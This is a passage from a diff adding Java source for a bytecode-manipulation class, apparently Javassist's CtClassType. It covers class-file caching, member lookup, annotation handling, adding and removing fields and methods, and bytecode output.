+            if (ext != null) {
+                String name = ext.getName();
+                if (!name.equals("java.lang.Object"))
+                    buffer.append(" extends " + ext.getName());
+            }
+        }
+        catch (NotFoundException e) {
+            buffer.append(" extends ??");
+        }
+
+        try {
+            CtClass[] intf = getInterfaces();
+            if (intf.length > 0)
+                buffer.append(" implements ");
+
+            for (int i = 0; i < intf.length; ++i) {
+                buffer.append(intf[i].getName());
+                buffer.append(", ");
+            }
+        }
+        catch (NotFoundException e) {
+            buffer.append(" extends ??");
+        }
+
+        CtMember.Cache memCache = getMembers();
+        exToString(buffer, " fields=",
+                memCache.fieldHead(), memCache.lastField());
+        exToString(buffer, " constructors=",
+                memCache.consHead(), memCache.lastCons());
+        exToString(buffer, " methods=",
+                   memCache.methodHead(), memCache.lastMethod());
+    }
+
+    private void exToString(StringBuffer buffer, String msg,
+                            CtMember head, CtMember tail) {
+        buffer.append(msg);
+        while (head != tail) {
+            head = head.next();
+            buffer.append(head);
+            buffer.append(", ");
+        }
+    }
+
+    public AccessorMaker getAccessorMaker() {
+        if (accessors == null)
+            accessors = new AccessorMaker(this);
+
+        return accessors;
+    }
+
+    public ClassFile getClassFile2() {
+        ClassFile cfile = classfile;
+        if (cfile != null)
+            return cfile;
+
+        if (readCounter++ > READ_THRESHOLD) {
+            getCounter += 2;
+            releaseClassFiles();
+            readCounter = 0;
+        }
+
+        if (rawClassfile != null) {
+            try {
+                classfile = new ClassFile(new DataInputStream(
+                                            new ByteArrayInputStream(rawClassfile)));
+                rawClassfile = null;
+                getCounter = GET_THRESHOLD;
+                return classfile;
+            }
+            catch (IOException e) {
+                throw new RuntimeException(e.toString(), e);
+            }
+        }
+
+        InputStream fin = null;
+        try {
+            fin = classPool.openClassfile(getName());
+            if (fin == null)
+                throw new NotFoundException(getName());
+
+            fin = new BufferedInputStream(fin);
+            ClassFile cf = new ClassFile(new DataInputStream(fin));
+            if (!cf.getName().equals(qualifiedName))
+                throw new RuntimeException("cannot find " + qualifiedName + ": " 
+                        + cf.getName() + " found in "
+                        + qualifiedName.replace('.', '/') + ".class");
+
+            classfile = cf;
+            return cf;
+        }
+        catch (NotFoundException e) {
+            throw new RuntimeException(e.toString(), e);
+        }
+        catch (IOException e) {
+            throw new RuntimeException(e.toString(), e);
+        }
+        finally {
+            if (fin != null)
+                try {
+                    fin.close();
+                }
+                catch (IOException e) {}
+        }
+    }
+
+    /**
+     * Converts a ClassFile object into a byte array
+     * for saving memory space.
+     */
+    public synchronized void saveClassFile() {
+        /* getMembers() and releaseClassFile() are also synchronized.
+         */
+        if (classfile == null || hasMemberCache() != null)
+            return;
+
+        ByteArrayOutputStream barray = new ByteArrayOutputStream();
+        DataOutputStream out = new DataOutputStream(barray);
+        try {
+            classfile.write(out);
+            barray.close();
+            rawClassfile = barray.toByteArray();
+            classfile = null;
+        }
+        catch (IOException e) {}
+    }
+
+    public synchronized void releaseClassFile() {
+        if (!isModified())
+            classfile = null;
+    }
+
+    /* Inherited from CtClass.  Called by get() in ClassPool.
+     *
+     * @see javassist.CtClass#incGetCounter()
+     * @see #toBytecode(DataOutputStream)
+     */
+    void incGetCounter() { ++getCounter; }
+
+    /**
+     * Releases the class files
+     * of the CtClasses that have not been recently used
+     * if they are unmodified. 
+     */
+    private void releaseClassFiles() {
+        Enumeration e = classPool.classes.elements();
+        while (e.hasMoreElements()) {
+            Object obj = e.nextElement();
+            if (obj instanceof CtClassType) {
+                CtClassType cct = (CtClassType)obj;
+                if (cct.getCounter < GET_THRESHOLD)
+                    if (!cct.isModified() && ClassPool.releaseUnmodifiedClassFile)
+                        cct.releaseClassFile();
+                    else if (cct.isFrozen() && !cct.wasPruned)
+                        cct.saveClassFile();
+
+                cct.getCounter = 0;
+            }
+        }
+    }
+
+    public ClassPool getClassPool() { return classPool; }
+
+    void setClassPool(ClassPool cp) { classPool = cp; }
+
+    public URL getURL() throws NotFoundException {
+        URL url = classPool.find(getName());
+        if (url == null)
+            throw new NotFoundException(getName());
+        else
+            return url;
+    }
+
+    public boolean isModified() { return wasChanged; }
+
+    public boolean isFrozen() { return wasFrozen; }
+
+    void freeze() { wasFrozen = true; }
+
+    void checkModify() throws RuntimeException {
+        if (isFrozen()) {
+            String msg = getName() + " class is frozen";
+            if (wasPruned)
+                msg += " and pruned";
+
+            throw new RuntimeException(msg);
+        }
+
+        wasChanged = true;
+    }
+
+    public void defrost() {
+        checkPruned("defrost");
+        wasFrozen = false;
+    }
+
+    public boolean subtypeOf(CtClass clazz) throws NotFoundException {
+        int i;
+        String cname = clazz.getName();
+        if (this == clazz || getName().equals(cname))
+            return true;
+
+        ClassFile file = getClassFile2();
+        String supername = file.getSuperclass();
+        if (supername != null && supername.equals(cname))
+            return true;
+
+        String[] ifs = file.getInterfaces();
+        int num = ifs.length;
+        for (i = 0; i < num; ++i)
+            if (ifs[i].equals(cname))
+                return true;
+
+        if (supername != null && classPool.get(supername).subtypeOf(clazz))
+            return true;
+
+        for (i = 0; i < num; ++i)
+            if (classPool.get(ifs[i]).subtypeOf(clazz))
+                return true;
+
+        return false;
+    }
+
+    public void setName(String name) throws RuntimeException {
+        String oldname = getName();
+        if (name.equals(oldname))
+            return;
+
+        // check this in advance although classNameChanged() below does.
+        classPool.checkNotFrozen(name);
+        ClassFile cf = getClassFile2();
+        super.setName(name);
+        cf.setName(name);
+        nameReplaced();
+        classPool.classNameChanged(oldname, this);
+    }
+
+    public void replaceClassName(ClassMap classnames)
+        throws RuntimeException
+    {
+        String oldClassName = getName();
+        String newClassName
+            = (String)classnames.get(Descriptor.toJvmName(oldClassName));
+        if (newClassName != null) {
+            newClassName = Descriptor.toJavaName(newClassName);
+            // check this in advance although classNameChanged() below does.
+            classPool.checkNotFrozen(newClassName);
+        }
+
+        super.replaceClassName(classnames);
+        ClassFile cf = getClassFile2();
+        cf.renameClass(classnames);
+        nameReplaced();
+
+        if (newClassName != null) {
+            super.setName(newClassName);
+            classPool.classNameChanged(oldClassName, this);
+        }
+    }
+
+    public void replaceClassName(String oldname, String newname)
+        throws RuntimeException
+    {
+        String thisname = getName();
+        if (thisname.equals(oldname))
+            setName(newname);
+        else {
+            super.replaceClassName(oldname, newname);
+            getClassFile2().renameClass(oldname, newname);
+            nameReplaced();
+        }
+    }
+
+    public boolean isInterface() {
+        return Modifier.isInterface(getModifiers());
+    }
+
+    public boolean isAnnotation() {
+        return Modifier.isAnnotation(getModifiers());
+    }
+
+    public boolean isEnum() {
+       return Modifier.isEnum(getModifiers());
+    }
+
+    public int getModifiers() {
+        ClassFile cf = getClassFile2();
+        int acc = cf.getAccessFlags();
+        acc = AccessFlag.clear(acc, AccessFlag.SUPER);
+        int inner = cf.getInnerAccessFlags();
+        if (inner != -1 && (inner & AccessFlag.STATIC) != 0)
+            acc |= AccessFlag.STATIC;
+
+        return AccessFlag.toModifier(acc);
+    }
+
+    public CtClass[] getNestedClasses() throws NotFoundException {
+        ClassFile cf = getClassFile2();
+        InnerClassesAttribute ica
+            = (InnerClassesAttribute)cf.getAttribute(InnerClassesAttribute.tag);
+        if (ica == null)
+            return new CtClass[0];
+
+        String thisName = cf.getName();
+        int n = ica.tableLength();
+        ArrayList list = new ArrayList(n);
+        for (int i = 0; i < n; i++) {
+            String outer = ica.outerClass(i);
+            /*
+             * If a nested class is local or anonymous,
+             * the outer_class_info_index is 0.
+             */
+            if (outer == null || outer.equals(thisName)) {
+                String inner = ica.innerClass(i);
+                if (inner != null)
+                    list.add(classPool.get(inner));
+            }
+        }
+
+        return (CtClass[])list.toArray(new CtClass[list.size()]);
+    }
+
+    public void setModifiers(int mod) {
+        ClassFile cf = getClassFile2();
+        if (Modifier.isStatic(mod)) {
+            int flags = cf.getInnerAccessFlags();
+            if (flags != -1 && (flags & AccessFlag.STATIC) != 0)
+                mod = mod & ~Modifier.STATIC;
+            else
+                throw new RuntimeException("cannot change " + getName() + " into a static class");
+        }
+
+        checkModify();
+        cf.setAccessFlags(AccessFlag.of(mod));
+    }
+
+    public Object[] getAnnotations() throws ClassNotFoundException {
+       return getAnnotations(false);
+    }
+
+    public Object[] getAvailableAnnotations(){
+       try {
+           return getAnnotations(true);
+       }
+       catch (ClassNotFoundException e) {
+           throw new RuntimeException("Unexpected exception ", e);
+       }
+    }
+
+    private Object[] getAnnotations(boolean ignoreNotFound)
+        throws ClassNotFoundException
+    {
+        ClassFile cf = getClassFile2();
+        AnnotationsAttribute ainfo = (AnnotationsAttribute)
+                cf.getAttribute(AnnotationsAttribute.invisibleTag);  
+        AnnotationsAttribute ainfo2 = (AnnotationsAttribute)
+                cf.getAttribute(AnnotationsAttribute.visibleTag);  
+        return toAnnotationType(ignoreNotFound, getClassPool(), ainfo, ainfo2);
+    }
+
+    static Object[] toAnnotationType(boolean ignoreNotFound, ClassPool cp,
+                             AnnotationsAttribute a1, AnnotationsAttribute a2)
+        throws ClassNotFoundException
+    {
+        Annotation[] anno1, anno2;
+        int size1, size2;
+
+        if (a1 == null) {
+            anno1 = null;
+            size1 = 0;
+        }
+        else {
+            anno1 = a1.getAnnotations();
+            size1 = anno1.length;
+        }
+
+        if (a2 == null) {
+            anno2 = null;
+            size2 = 0;
+        }
+        else {
+            anno2 = a2.getAnnotations();
+            size2 = anno2.length;
+        }
+
+        if (!ignoreNotFound){
+           Object[] result = new Object[size1 + size2];
+           for (int i = 0; i < size1; i++)
+               result[i] = toAnnoType(anno1[i], cp);
+   
+           for (int j = 0; j < size2; j++)
+               result[j + size1] = toAnnoType(anno2[j], cp);
+   
+           return result;
+        }
+        else{
+           ArrayList annotations = new ArrayList();
+           for (int i = 0 ; i < size1 ; i++){
+              try{
+                 annotations.add(toAnnoType(anno1[i], cp));
+              }
+              catch(ClassNotFoundException e){}
+           }
+           for (int j = 0; j < size2; j++) {
+              try{
+                 annotations.add(toAnnoType(anno2[j], cp));
+              }
+              catch(ClassNotFoundException e){}
+           }
+
+           return annotations.toArray();
+        }
+    }
+
+    static Object[][] toAnnotationType(boolean ignoreNotFound, ClassPool cp,
+                                       ParameterAnnotationsAttribute a1,
+                                       ParameterAnnotationsAttribute a2,
+                                       MethodInfo minfo)
+        throws ClassNotFoundException
+    {
+        int numParameters = 0;
+        if (a1 != null) 
+            numParameters = a1.numParameters();
+        else if (a2 != null)
+            numParameters = a2.numParameters();
+        else
+            numParameters = Descriptor.numOfParameters(minfo.getDescriptor());
+
+        Object[][] result = new Object[numParameters][];
+        for (int i = 0; i < numParameters; i++) {
+            Annotation[] anno1, anno2;
+            int size1, size2;
+
+            if (a1 == null) {
+                anno1 = null;
+                size1 = 0;
+            }
+            else {
+                anno1 = a1.getAnnotations()[i];
+                size1 = anno1.length;
+            }
+
+            if (a2 == null) {
+                anno2 = null;
+                size2 = 0;
+            }
+            else {
+                anno2 = a2.getAnnotations()[i];
+                size2 = anno2.length;
+            }
+
+            if (!ignoreNotFound){
+                result[i] = new Object[size1 + size2];
+                for (int j = 0; j < size1; ++j)
+                    result[i][j] = toAnnoType(anno1[j], cp);
+   
+                for (int j = 0; j < size2; ++j)
+                    result[i][j + size1] = toAnnoType(anno2[j], cp);
+            }
+            else{
+                ArrayList annotations = new ArrayList();
+                for (int j = 0 ; j < size1 ; j++){
+                    try{
+                        annotations.add(toAnnoType(anno1[j], cp));
+                    }
+                    catch(ClassNotFoundException e){}
+                }
+                for (int j = 0; j < size2; j++){
+                    try{
+                        annotations.add(toAnnoType(anno2[j], cp));
+                    }
+                    catch(ClassNotFoundException e){}
+                }
+
+                result[i] = annotations.toArray();
+            }
+        }
+
+        return result;
+    }
+
+    private static Object toAnnoType(Annotation anno, ClassPool cp)
+        throws ClassNotFoundException
+    {
+        try {
+            ClassLoader cl = cp.getClassLoader();
+            return anno.toAnnotationType(cl, cp);
+        }
+        catch (ClassNotFoundException e) {
+            ClassLoader cl2 = cp.getClass().getClassLoader();
+            return anno.toAnnotationType(cl2, cp);
+        }
+    }
+
+    public boolean subclassOf(CtClass superclass) {
+        if (superclass == null)
+            return false;
+
+        String superName = superclass.getName();
+        CtClass curr = this;
+        try {
+            while (curr != null) {
+                if (curr.getName().equals(superName))
+                    return true;
+
+                curr = curr.getSuperclass();
+            }
+        }
+        catch (Exception ignored) {}
+        return false;
+    }
+
+    public CtClass getSuperclass() throws NotFoundException {
+        String supername = getClassFile2().getSuperclass();
+        if (supername == null)
+            return null;
+        else
+            return classPool.get(supername);
+    }
+
+    public void setSuperclass(CtClass clazz) throws CannotCompileException {
+        checkModify();
+        if (isInterface())
+            addInterface(clazz);
+        else
+            getClassFile2().setSuperclass(clazz.getName());
+    }
+
+    public CtClass[] getInterfaces() throws NotFoundException {
+        String[] ifs = getClassFile2().getInterfaces();
+        int num = ifs.length;
+        CtClass[] ifc = new CtClass[num];
+        for (int i = 0; i < num; ++i)
+            ifc[i] = classPool.get(ifs[i]);
+
+        return ifc;
+    }
+
+    public void setInterfaces(CtClass[] list) {
+        checkModify();
+        String[] ifs;
+        if (list == null)
+            ifs = new String[0];
+        else {
+            int num = list.length;
+            ifs = new String[num];
+            for (int i = 0; i < num; ++i)
+                ifs[i] = list[i].getName();
+        }
+
+        getClassFile2().setInterfaces(ifs);
+    }
+
+    public void addInterface(CtClass anInterface) {
+        checkModify();
+        if (anInterface != null)
+            getClassFile2().addInterface(anInterface.getName());
+    }
+
+    public CtClass getDeclaringClass() throws NotFoundException {
+        ClassFile cf = getClassFile2();
+        InnerClassesAttribute ica = (InnerClassesAttribute)cf.getAttribute(
+                                                InnerClassesAttribute.tag);
+        if (ica == null)
+            return null;
+
+        String name = getName();
+        int n = ica.tableLength();
+        for (int i = 0; i < n; ++i)
+            if (name.equals(ica.innerClass(i))) {
+                String outName = ica.outerClass(i);
+                if (outName != null)
+                    return classPool.get(outName);
+                else {
+                    // maybe anonymous or local class.
+                    EnclosingMethodAttribute ema
+                        = (EnclosingMethodAttribute)cf.getAttribute(
+                                                    EnclosingMethodAttribute.tag);
+                    if (ema != null)
+                        return classPool.get(ema.className());
+                }
+            }
+
+        return null;
+    }
+
+    public CtMethod getEnclosingMethod() throws NotFoundException {
+        ClassFile cf = getClassFile2();
+        EnclosingMethodAttribute ema
+                = (EnclosingMethodAttribute)cf.getAttribute(
+                                                EnclosingMethodAttribute.tag);
+        if (ema != null) {
+            CtClass enc = classPool.get(ema.className());
+            return enc.getMethod(ema.methodName(), ema.methodDescriptor());
+        }
+
+        return null;
+    }
+
+    public CtClass makeNestedClass(String name, boolean isStatic) {
+        if (!isStatic)
+            throw new RuntimeException(
+                        "sorry, only nested static class is supported");
+
+        checkModify();
+        CtClass c = classPool.makeNestedClass(getName() + "$" + name);
+        ClassFile cf = getClassFile2();
+        ClassFile cf2 = c.getClassFile2();
+        InnerClassesAttribute ica = (InnerClassesAttribute)cf.getAttribute(
+                                                InnerClassesAttribute.tag);
+        if (ica == null) {
+            ica = new InnerClassesAttribute(cf.getConstPool());
+            cf.addAttribute(ica);
+        }
+
+        ica.append(c.getName(), this.getName(), name,
+                   (cf2.getAccessFlags() & ~AccessFlag.SUPER) | AccessFlag.STATIC);
+        cf2.addAttribute(ica.copy(cf2.getConstPool(), null));
+        return c;
+    }
+
+    /* flush cached names.
+     */
+    private void nameReplaced() {
+        CtMember.Cache cache = hasMemberCache();
+        if (cache != null) {
+            CtMember mth = cache.methodHead();
+            CtMember tail = cache.lastMethod();
+            while (mth != tail) {
+                mth = mth.next();
+                mth.nameReplaced();
+            }
+        }
+    }
+
+    /**
+     * Returns null if members are not cached.
+     */
+    protected CtMember.Cache hasMemberCache() {
+        if (memberCache != null)
+            return (CtMember.Cache)memberCache.get();
+        else
+            return null;
+    }
+
+    protected synchronized CtMember.Cache getMembers() {
+        CtMember.Cache cache = null;
+        if (memberCache == null
+            || (cache = (CtMember.Cache)memberCache.get()) == null) {
+            cache = new CtMember.Cache(this);
+            makeFieldCache(cache);
+            makeBehaviorCache(cache);
+            memberCache = new WeakReference(cache);
+        }
+
+        return cache;
+    }
+
+    private void makeFieldCache(CtMember.Cache cache) {
+        List list = getClassFile2().getFields();
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            FieldInfo finfo = (FieldInfo)list.get(i);
+            CtField newField = new CtField(finfo, this);
+            cache.addField(newField);
+        }
+    }
+
+    private void makeBehaviorCache(CtMember.Cache cache) {
+        List list = getClassFile2().getMethods();
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            if (minfo.isMethod()) {
+                CtMethod newMethod = new CtMethod(minfo, this);
+                cache.addMethod(newMethod);
+            }
+            else {
+                CtConstructor newCons = new CtConstructor(minfo, this);
+                cache.addConstructor(newCons);
+            }
+        }
+    }
+
+    public CtField[] getFields() {
+        ArrayList alist = new ArrayList();
+        getFields(alist, this);
+        return (CtField[])alist.toArray(new CtField[alist.size()]);
+    }
+
+    private static void getFields(ArrayList alist, CtClass cc) {
+        int i, num;
+        if (cc == null)
+            return;
+
+        try {
+            getFields(alist, cc.getSuperclass());
+        }
+        catch (NotFoundException e) {}
+
+        try {
+            CtClass[] ifs = cc.getInterfaces();
+            num = ifs.length;
+            for (i = 0; i < num; ++i)
+                getFields(alist, ifs[i]);
+        }
+        catch (NotFoundException e) {}
+
+        CtMember.Cache memCache = ((CtClassType)cc).getMembers();
+        CtMember field = memCache.fieldHead();
+        CtMember tail = memCache.lastField();
+        while (field != tail) {
+            field = field.next();
+            if (!Modifier.isPrivate(field.getModifiers()))
+                alist.add(field);
+        }
+    }
+
+    public CtField getField(String name) throws NotFoundException {
+        CtField f = getField2(name);
+        if (f == null)
+            throw new NotFoundException("field: " + name + " in " + getName());
+        else
+            return f;
+    }
+
+    CtField getField2(String name) {
+        CtField df = getDeclaredField2(name);
+        if (df != null)
+            return df;
+
+        try {
+            CtClass[] ifs = getInterfaces();
+            int num = ifs.length;
+            for (int i = 0; i < num; ++i) {
+                CtField f = ifs[i].getField2(name);
+                if (f != null)
+                    return f;
+            }
+
+            CtClass s = getSuperclass();
+            if (s != null)
+                return s.getField2(name);
+        }
+        catch (NotFoundException e) {}
+        return null;
+    }
+
+    public CtField[] getDeclaredFields() {
+        CtMember.Cache memCache = getMembers();
+        CtMember field = memCache.fieldHead();
+        CtMember tail = memCache.lastField();
+        int num = CtMember.Cache.count(field, tail);
+        CtField[] cfs = new CtField[num];
+        int i = 0;
+        while (field != tail) {
+            field = field.next();
+            cfs[i++] = (CtField)field;
+        }
+
+        return cfs;
+    }
+
+    public CtField getDeclaredField(String name) throws NotFoundException {
+        CtField f = getDeclaredField2(name);
+        if (f == null)
+            throw new NotFoundException("field: " + name + " in " + getName());
+        else
+            return f;
+    }
+
+    private CtField getDeclaredField2(String name) {
+        CtMember.Cache memCache = getMembers();
+        CtMember field = memCache.fieldHead();
+        CtMember tail = memCache.lastField();
+        while (field != tail) {
+            field = field.next();
+            if (field.getName().equals(name))
+                return (CtField)field;
+        }
+
+        return null;
+    }
+
+    public CtBehavior[] getDeclaredBehaviors() {
+        CtMember.Cache memCache = getMembers();
+        CtMember cons = memCache.consHead();
+        CtMember consTail = memCache.lastCons();
+        int cnum = CtMember.Cache.count(cons, consTail);
+        CtMember mth = memCache.methodHead();
+        CtMember mthTail = memCache.lastMethod();
+        int mnum = CtMember.Cache.count(mth, mthTail);
+
+        CtBehavior[] cb = new CtBehavior[cnum + mnum];
+        int i = 0;
+        while (cons != consTail) {
+            cons = cons.next();
+            cb[i++] = (CtBehavior)cons;
+        }
+
+        while (mth != mthTail) {
+            mth = mth.next();
+            cb[i++] = (CtBehavior)mth;
+        }
+
+        return cb;
+    }
+
+    public CtConstructor[] getConstructors() {
+        CtMember.Cache memCache = getMembers();
+        CtMember cons = memCache.consHead();
+        CtMember consTail = memCache.lastCons();
+
+        int n = 0;
+        CtMember mem = cons;
+        while (mem != consTail) {
+            mem = mem.next();
+            if (isPubCons((CtConstructor)mem))
+                n++;
+        }
+
+        CtConstructor[] result = new CtConstructor[n];
+        int i = 0;
+        mem = cons;
+        while (mem != consTail) {
+            mem = mem.next();
+            CtConstructor cc = (CtConstructor)mem;
+            if (isPubCons(cc))
+                result[i++] = cc;
+        }
+
+        return result;
+    }
+
+    private static boolean isPubCons(CtConstructor cons) {
+        return !Modifier.isPrivate(cons.getModifiers())
+                && cons.isConstructor();
+    }
+
+    public CtConstructor getConstructor(String desc)
+        throws NotFoundException
+    {
+        CtMember.Cache memCache = getMembers();
+        CtMember cons = memCache.consHead();
+        CtMember consTail = memCache.lastCons();
+
+        while (cons != consTail) {
+            cons = cons.next();
+            CtConstructor cc = (CtConstructor)cons;
+            if (cc.getMethodInfo2().getDescriptor().equals(desc)
+                && cc.isConstructor())
+                return cc;
+        }
+
+        return super.getConstructor(desc);
+    }
+
+    public CtConstructor[] getDeclaredConstructors() {
+        CtMember.Cache memCache = getMembers();
+        CtMember cons = memCache.consHead();
+        CtMember consTail = memCache.lastCons();
+
+        int n = 0;
+        CtMember mem = cons;
+        while (mem != consTail) {
+            mem = mem.next();
+            CtConstructor cc = (CtConstructor)mem;
+            if (cc.isConstructor())
+                n++;
+        }
+
+        CtConstructor[] result = new CtConstructor[n];
+        int i = 0;
+        mem = cons;
+        while (mem != consTail) {
+            mem = mem.next();
+            CtConstructor cc = (CtConstructor)mem;
+            if (cc.isConstructor())
+                result[i++] = cc;
+        }
+
+        return result;
+    }
+
+    public CtConstructor getClassInitializer() {
+        CtMember.Cache memCache = getMembers();
+        CtMember cons = memCache.consHead();
+        CtMember consTail = memCache.lastCons();
+
+        while (cons != consTail) {
+            cons = cons.next();
+            CtConstructor cc = (CtConstructor)cons;
+            if (cc.isClassInitializer())
+                return cc;
+        }
+
+        return null;
+    }
+
+    public CtMethod[] getMethods() {
+        HashMap h = new HashMap();
+        getMethods0(h, this);
+        return (CtMethod[])h.values().toArray(new CtMethod[h.size()]);
+    }
+
+    private static void getMethods0(HashMap h, CtClass cc) {
+        try {
+            CtClass[] ifs = cc.getInterfaces();
+            int size = ifs.length;
+            for (int i = 0; i < size; ++i)
+                getMethods0(h, ifs[i]);
+        }
+        catch (NotFoundException e) {}
+
+        try {
+            CtClass s = cc.getSuperclass();
+            if (s != null)
+                getMethods0(h, s);
+        }
+        catch (NotFoundException e) {}
+
+        if (cc instanceof CtClassType) {
+            CtMember.Cache memCache = ((CtClassType)cc).getMembers();
+            CtMember mth = memCache.methodHead();
+            CtMember mthTail = memCache.lastMethod();
+
+            while (mth != mthTail) {
+                mth = mth.next();
+                if (!Modifier.isPrivate(mth.getModifiers()))
+                    h.put(((CtMethod)mth).getStringRep(), mth);
+            }
+        }
+    }
+
+    public CtMethod getMethod(String name, String desc)
+        throws NotFoundException
+    {
+        CtMethod m = getMethod0(this, name, desc);
+        if (m != null)
+            return m;
+        else
+            throw new NotFoundException(name + "(..) is not found in "
+                                        + getName());
+    }
+
+    private static CtMethod getMethod0(CtClass cc,
+                                       String name, String desc) {
+        if (cc instanceof CtClassType) {
+            CtMember.Cache memCache = ((CtClassType)cc).getMembers();
+            CtMember mth = memCache.methodHead();
+            CtMember mthTail = memCache.lastMethod();
+
+            while (mth != mthTail) {
+                mth = mth.next();
+                if (mth.getName().equals(name)
+                        && ((CtMethod)mth).getMethodInfo2().getDescriptor().equals(desc))
+                    return (CtMethod)mth;
+            }
+        }
+
+        try {
+            CtClass s = cc.getSuperclass();
+            if (s != null) {
+                CtMethod m = getMethod0(s, name, desc);
+                if (m != null)
+                    return m;
+            }
+        }
+        catch (NotFoundException e) {}
+
+        try {
+            CtClass[] ifs = cc.getInterfaces();
+            int size = ifs.length;
+            for (int i = 0; i < size; ++i) {
+                CtMethod m = getMethod0(ifs[i], name, desc);
+                if (m != null)
+                    return m;
+            }
+        }
+        catch (NotFoundException e) {}
+        return null;
+    }
+
+    public CtMethod[] getDeclaredMethods() {
+        CtMember.Cache memCache = getMembers();
+        CtMember mth = memCache.methodHead();
+        CtMember mthTail = memCache.lastMethod();
+        int num = CtMember.Cache.count(mth, mthTail);
+        CtMethod[] cms = new CtMethod[num];
+        int i = 0;
+        while (mth != mthTail) {
+            mth = mth.next();
+            cms[i++] = (CtMethod)mth;
+        }
+
+        return cms;
+    }
+
+    public CtMethod getDeclaredMethod(String name) throws NotFoundException {
+        CtMember.Cache memCache = getMembers();
+        CtMember mth = memCache.methodHead();
+        CtMember mthTail = memCache.lastMethod();
+        while (mth != mthTail) {
+            mth = mth.next();
+            if (mth.getName().equals(name))
+                return (CtMethod)mth;
+        }
+
+        throw new NotFoundException(name + "(..) is not found in "
+                                    + getName());
+    }
+
+    public CtMethod getDeclaredMethod(String name, CtClass[] params)
+        throws NotFoundException
+    {
+        String desc = Descriptor.ofParameters(params);
+        CtMember.Cache memCache = getMembers();
+        CtMember mth = memCache.methodHead();
+        CtMember mthTail = memCache.lastMethod();
+
+        while (mth != mthTail) {
+            mth = mth.next();
+            if (mth.getName().equals(name)
+                    && ((CtMethod)mth).getMethodInfo2().getDescriptor().startsWith(desc))
+                return (CtMethod)mth;
+        }
+
+        throw new NotFoundException(name + "(..) is not found in "
+                                    + getName());
+    }
+
+    public void addField(CtField f, String init)
+        throws CannotCompileException
+    {
+        addField(f, CtField.Initializer.byExpr(init));
+    }
+
+    public void addField(CtField f, CtField.Initializer init)
+        throws CannotCompileException
+    {
+        checkModify();
+        if (f.getDeclaringClass() != this)
+            throw new CannotCompileException("cannot add");
+
+        if (init == null)
+            init = f.getInit();
+
+        if (init != null) {
+            int mod = f.getModifiers();
+            if (Modifier.isStatic(mod) && Modifier.isFinal(mod))
+                try {
+                    ConstPool cp = getClassFile2().getConstPool();
+                    int index = init.getConstantValue(cp, f.getType());
+                    if (index != 0) {
+                        f.getFieldInfo2().addAttribute(new ConstantAttribute(cp, index));
+                        init = null;
+                    }
+                }
+                catch (NotFoundException e) {}
+        }
+
+        getMembers().addField(f);
+        getClassFile2().addField(f.getFieldInfo2());
+
+        if (init != null) {
+            FieldInitLink fil = new FieldInitLink(f, init);
+            FieldInitLink link = fieldInitializers;
+            if (link == null)
+                fieldInitializers = fil;
+            else {
+                while (link.next != null)
+                    link = link.next;
+
+                link.next = fil;
+            }
+        }
+    }
+
+    public void removeField(CtField f) throws NotFoundException {
+        checkModify();
+        FieldInfo fi = f.getFieldInfo2();
+        ClassFile cf = getClassFile2();
+        if (cf.getFields().remove(fi)) {
+            getMembers().remove(f);
+            memberRemoved = true;
+        }
+        else
+            throw new NotFoundException(f.toString());
+    }
+
+    public CtConstructor makeClassInitializer()
+        throws CannotCompileException
+    {
+        CtConstructor clinit = getClassInitializer();
+        if (clinit != null)
+            return clinit;
+
+        checkModify();
+        ClassFile cf = getClassFile2();
+        Bytecode code = new Bytecode(cf.getConstPool(), 0, 0);
+        modifyClassConstructor(cf, code, 0, 0);
+        return getClassInitializer();
+    }
+
+    public void addConstructor(CtConstructor c)
+        throws CannotCompileException
+    {
+        checkModify();
+        if (c.getDeclaringClass() != this)
+            throw new CannotCompileException("cannot add");
+
+        getMembers().addConstructor(c);
+        getClassFile2().addMethod(c.getMethodInfo2());
+    }
+
+    public void removeConstructor(CtConstructor m) throws NotFoundException {
+        checkModify();
+        MethodInfo mi = m.getMethodInfo2();
+        ClassFile cf = getClassFile2();
+        if (cf.getMethods().remove(mi)) {
+            getMembers().remove(m);
+            memberRemoved = true;
+        }
+        else
+            throw new NotFoundException(m.toString());
+    }
+
+    public void addMethod(CtMethod m) throws CannotCompileException {
+        checkModify();
+        if (m.getDeclaringClass() != this)
+            throw new CannotCompileException("cannot add");
+
+        getMembers().addMethod(m);
+        getClassFile2().addMethod(m.getMethodInfo2());
+        if ((m.getModifiers() & Modifier.ABSTRACT) != 0)
+            setModifiers(getModifiers() | Modifier.ABSTRACT);
+    }
+
+    public void removeMethod(CtMethod m) throws NotFoundException {
+        checkModify();
+        MethodInfo mi = m.getMethodInfo2();
+        ClassFile cf = getClassFile2();
+        if (cf.getMethods().remove(mi)) {
+            getMembers().remove(m);
+            memberRemoved = true;
+        }
+        else
+            throw new NotFoundException(m.toString());
+    }
+
+    public byte[] getAttribute(String name) {
+        AttributeInfo ai = getClassFile2().getAttribute(name);
+        if (ai == null)
+            return null;
+        else
+            return ai.get();
+    }
+
+    public void setAttribute(String name, byte[] data) {
+        checkModify();
+        ClassFile cf = getClassFile2();
+        cf.addAttribute(new AttributeInfo(cf.getConstPool(), name, data));
+    }
+
+    public void instrument(CodeConverter converter)
+        throws CannotCompileException
+    {
+        checkModify();
+        ClassFile cf = getClassFile2();
+        ConstPool cp = cf.getConstPool();
+        List list = cf.getMethods();
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            converter.doit(this, minfo, cp);
+        }
+    }
+
+    public void instrument(ExprEditor editor)
+        throws CannotCompileException
+    {
+        checkModify();
+        ClassFile cf = getClassFile2();
+        List list = cf.getMethods();
+        int n = list.size();
+        for (int i = 0; i < n; ++i) {
+            MethodInfo minfo = (MethodInfo)list.get(i);
+            editor.doit(this, minfo);
+        }
+    }
+
+    /**
+     * @see javassist.CtClass#prune()
+     * @see javassist.CtClass#stopPruning(boolean)
+     */
+    public void prune() {
+        if (wasPruned)
+            return;
+
+        wasPruned = wasFrozen = true;
+        getClassFile2().prune();
+    }
+
+    public void toBytecode(DataOutputStream out)
+        throws CannotCompileException, IOException
+    {
+        try {
+            if (isModified()) {
+                checkPruned("toBytecode");
+                ClassFile cf = getClassFile2();
+                if (memberRemoved) {
+                    cf.compact();
+                    memberRemoved = false;
+                }
+
+                modifyClassConstructor(cf);
+                modifyConstructors(cf);
+                cf.write(out);
+                out.flush();
+                fieldInitializers = null;
+                if (doPruning) {
+                    // to save memory
+                    cf.prune();
+                    wasPruned = true;
+                }
